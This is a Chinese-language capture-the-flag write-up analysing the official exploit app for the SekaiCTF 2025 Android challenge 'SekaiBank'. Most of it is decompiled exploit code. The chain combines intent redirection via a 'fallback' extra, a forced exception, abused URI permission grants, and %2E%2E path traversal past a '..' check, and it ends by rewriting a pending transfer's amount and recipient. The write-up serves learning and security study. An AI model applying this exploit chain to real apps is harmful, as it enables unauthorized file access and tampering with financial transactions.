【SekaiCTF2025】Misc-SekaiBank
[SekaiCTF2025]Misc-SekaiBank
SekaiBank
摘要
对该题官方WP中的ExploitApp进行分析,梳理漏洞利用逻辑。
onCreate(Attacker)
protected void onCreate(Bundle bundle0) {
super.onCreate(bundle0);
this.setContentView(layout.activity_main);
ViewCompat.setOnApplyWindowInsetsListener(this.findViewById(id.main), (View view0, WindowInsetsCompat windowInsetsCompat0) -> {
Insets insets0 = windowInsetsCompat0.getInsets(7);
view0.setPadding(insets0.left, insets0.top, insets0.right, insets0.bottom);
return windowInsetsCompat0;
});
this.handleIntent(this.getIntent());
}
先是一些UI,然后进入handleIntent
handleIntent-1
private void handleIntent(Intent intent0) {
String s = intent0.getAction();
if("phase1".equals(s)) {
this.runPhase1();
return;
}
if("phase2".equals(s)) {
this.runPhase2();
return;
}
this.grantUriPermissions("phase1", "content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions");
}
此时 Intent 是标准的 LAUNCHER Intent:
action = android.intent.action.MAIN
category = android.intent.category.LAUNCHER
因此进入grantUriPermissions
grantUriPermissions
private void grantUriPermissions(String s, String s1) {
Log.i("ExploitPOC", "Launching " + s + " with URI: " + s1);
Intent intent0 = new Intent(s).setClass(this, this.getClass()).setFlags(67).setData(Uri.parse(s1));
this.startActivity(new Intent("android.intent.action.SEND").setClassName("com.sekai.bank", "com.sekai.bank.MainActivity").putExtra("fallback", intent0).putExtra("from_pin_setup", true).putExtra("context", null));
}
构造fallback
intent,注意此处的action为传入的字符串s = "phase1"
:
Intent intent0 = new Intent("phase1")
.setClass(this, this.getClass()) // 回调我自己的 Activity
.setFlags(67) // 请求 URI 读写权限
.setData(Uri.parse("content://content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions")); // 指向银行的文件目录
将其通过.putExtra("fallback", intent0)
发送出去。
onCreate(Bank)
protected void onCreate(Bundle bundle0) {
super.onCreate(bundle0);
try {
this.tokenManager = SekaiApplication.getInstance().getTokenManager();
boolean z = this.handlePinSetupFlow();
}
catch(Exception unused_ex) {
Intent intent0 = (Intent)this.getIntent().getParcelableExtra("fallback");
if(intent0 != null) {
this.startActivity(intent0);
this.finish();
}
goto label_21;
}
if(z) {
return;
}
label_21:
if(!this.uiInitialized) {
this.checkAuthentication();
}
}
进入try块,需要触发一个异常进入catch块后才能执行fallback代码
那么这个异常在哪里呢?
handlePinSetupFlow
private boolean handlePinSetupFlow() {
if(this.getIntent().getBooleanExtra("from_pin_setup", false)) {
this.pinVerified = true;
this.setupMainUI();
return true;
}
return false;
}
this.getIntent().getBooleanExtra("from_pin_setup", false)
意思是如果没有找到"from_pin_setup"
这个键就返回false
,找到了就按键值来。还记得刚刚构造的intent
吗,该键的值是true
。因此进入this.setupMainUI()
。
setupMainUI
private void setupMainUI() {
if(!this.uiInitialized && !this.isFinishing() && !this.isDestroyed()) {
try {
ActivityMainBinding activityMainBinding0 = ActivityMainBinding.inflate(this.getLayoutInflater());
this.binding = activityMainBinding0;
this.setContentView(activityMainBinding0.getRoot());
this.setupWindowInsets();
this.setupNavigation();
this.uiInitialized = true;
}
catch(Exception unused_ex) {
this.startAuthActivity();
}
Bundle bundle0 = this.getIntent().getExtras();
if(bundle0 != null && (bundle0.containsKey("context"))) {
Toast.makeText(((Context)bundle0.getParcelable("context")), "Hello!", 1).show();
}
}
}
关键的来了。先有一个try-catch,那漏洞肯定不在里面。之后通过Bundle bundle0 = this.getIntent().getExtras();
将构造的putExtra("fallback", intent0).putExtra("from_pin_setup", true).putExtra("context", null)
三个键值对存进bundle0
里了。
然后看if里面的东西,将((Context)bundle0.getParcelable("context"))
作为Toast.makeText
的第一个参数,而它的值是null
。该参数作为上下文环境,当然不能是null
的,这不异常就来了。
这个if其实是完全多余而突兀的,毕竟没有哪个intent
会莫名其妙多出来个context
,设计痕迹是很明显的。如果熟悉安卓开发,要是发现这个了基本上思路就明确了。
onNewIntent
public void onNewIntent(Intent intent0, ComponentCaller componentCaller0) {
super.onNewIntent(intent0, componentCaller0);
this.handleIntent(intent0);
}
攻击者重写onNewIntent(否则系统默认调用父类的同名函数,即super.onNewIntent
)。然后再次进入this.handleIntent
。此时intent0
为攻击者自己写的那个。
handleIntent-2
private void handleIntent(Intent intent0) {
String s = intent0.getAction();
if("phase1".equals(s)) {
this.runPhase1();
return;
}
if("phase2".equals(s)) {
this.runPhase2();
return;
}
this.grantUriPermissions("phase1", "content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions");
intent0.getAction()
得到"phase1"
,执行this.runPhase1()
runPhase1
private void runPhase1() {
Cursor cursor0;
Uri uri0 = Uri.parse("content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions");
try {
cursor0 = this.getContentResolver().query(uri0, null, null, null, null);
if(cursor0 == null) {
if(cursor0 != null) {
cursor0.close();
}
return;
}
goto label_15;
}
catch(Exception exception0) {
goto label_54;
}
return;
try {
while(true) {
label_15:
if(!cursor0.moveToNext()) {
goto label_48;
}
String s = cursor0.getString(cursor0.getColumnIndexOrThrow("path"));
if(s == null || !s.endsWith(".json")) {
goto label_15;
}
MainActivity.targetFileName = Uri.encode(s.substring(s.lastIndexOf(0x2F) + 1));
}
}
catch(Throwable throwable0) {
}
if(cursor0 != null) {
try {
cursor0.close();
throw throwable0;
}
catch(Throwable throwable1) {
}
try {
throwable0.addSuppressed(throwable1);
throw throwable0;
label_48:
if(cursor0 != null) {
cursor0.close();
}
goto label_57;
}
catch(Exception exception0) {
goto label_54;
}
}
throw throwable0;
label_54:
Log.e("ExploitPOC", "Phase 1 failed", exception0);
label_57:
if(MainActivity.targetFileName != null) {
this.grantUriPermissions("phase2", "content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions/" + MainActivity.targetFileName);
}
}
攻击者访问目标目录content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions/
1. 如何有权限?
Android 系统维护一个 URI 权限表:
持有者(App) | URI | 权限类型 | 有效期 |
---|---|---|---|
com.sekai.sekaibankpoc |
content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions |
read ,write |
临时(Activity 存活期间) |
2. 当攻击者调用:
getContentResolver().query(uri0, ...)
系统检查:
- 调用者是
com.sekai.sekaibankpoc
- 请求的 URI 是
content://com.sekai.bank.logprovider/...
- 查表:✅ 有
read
权限 → 允许访问
然后调用对应的ContentProvider中的query
函数,该函数返回内容为该目录下所有文件的matrixCursor0
的引用。
package com.sekai.bank.providers;
import android.content.ContentProvider;
import android.content.ContentValues;
import android.database.Cursor;
import android.database.MatrixCursor;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import java.io.File;
import java.io.FileNotFoundException;
public class LogProvider extends ContentProvider {
@Override // android.content.ContentProvider
public int delete(Uri uri0, String s, String[] arr_s) {
throw new UnsupportedOperationException("Not implemented");
}
@Override // android.content.ContentProvider
public String getType(Uri uri0) {
return "application/octet-stream";
}
@Override // android.content.ContentProvider
public Uri insert(Uri uri0, ContentValues contentValues0) {
throw new UnsupportedOperationException("Not implemented");
}
@Override // android.content.ContentProvider
public boolean onCreate() {
return true;
}
@Override // android.content.ContentProvider
public ParcelFileDescriptor openFile(Uri uri0, String s) throws FileNotFoundException {
if(!uri0.toString().contains("..")) {
File file0 = new File(this.getContext().getCacheDir(), uri0.getPath());
if(file0.exists()) {
return ParcelFileDescriptor.open(file0, 0x30000000);
}
throw new FileNotFoundException("Log doesn\'t exists!");
}
throw new FileNotFoundException("Invalid path!");
}
@Override // android.content.ContentProvider
public Cursor query(Uri uri0, String[] arr_s, String s, String[] arr_s1, String s1) {
File[] arr_file = new File(this.getContext().getCacheDir(), uri0.getPath()).listFiles();
String[] arr_s2 = new String[4];
int v = 0;
arr_s2[0] = "_id";
arr_s2[1] = "name";
arr_s2[2] = "size";
arr_s2[3] = "path";
MatrixCursor matrixCursor0 = new MatrixCursor(arr_s2);
if(arr_file != null) {
int v1 = 0;
while(v < arr_file.length) {
File file0 = arr_file[v];
if(file0.isFile()) {
matrixCursor0.addRow(new Object[]{v1, file0.getName(), ((long)file0.length()), file0.getAbsolutePath()});
++v1;
}
++v;
}
}
return matrixCursor0;
}
@Override // android.content.ContentProvider
public int update(Uri uri0, ContentValues contentValues0, String s, String[] arr_s) {
throw new UnsupportedOperationException("Not implemented");
}
}
3.遍历目录:
while(true) {
label_15:
if(!cursor0.moveToNext()) {
goto label_48;
}
String s = cursor0.getString(cursor0.getColumnIndexOrThrow("path"));
if(s == null || !s.endsWith(".json")) {
goto label_15;
}
MainActivity.targetFileName = Uri.encode(s.substring(s.lastIndexOf(0x2F) + 1));
}
找到targetFileName
。
this.grantUriPermissions("phase2", "content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions/" + MainActivity.targetFileName);
最后同样方法获取目标文件的读写权限,启动phase2
。
runPhase2
private void runPhase2() {
try {
Log.i("ExploitPOC", "Reading JSON from: " + MainActivity.targetFileName);
Uri uri0 = Uri.parse("content://com.sekai.bank.logprovider/%2E%2E/files/delayed_transactions/" + MainActivity.targetFileName);
String s = this.readContent(this.getContentResolver(), uri0);
Log.i("ExploitPOC", "Original JSON: " + s);
JSONObject jSONObject0 = new JSONObject(s);
jSONObject0.put("amount", 1000000);
jSONObject0.put("toUsername", "lhwww");
this.writeContent(this.getContentResolver(), uri0, jSONObject0.toString());
Log.i("ExploitPOC", "Exploit complete");
}
catch(Exception exception0) {
Log.e("ExploitPOC", "Phase 2 failed", exception0);
}
}
先读取目标文件的内容,readContent
代码太长不放了,就说一点值得注意的。
InputStream inputStream0 = contentResolver0.openInputStream(uri0); //截取自readContent
openInputStream
会触发对应ContentProvider
中的openFile
方法。
其中
if(!uri0.toString().contains(".."))
可以被url编码绕过。因此payload中将..
替换为%2E%2E
。
读取json文件内容后修改,再写回去,就大功告成了。
更多推荐
所有评论(0)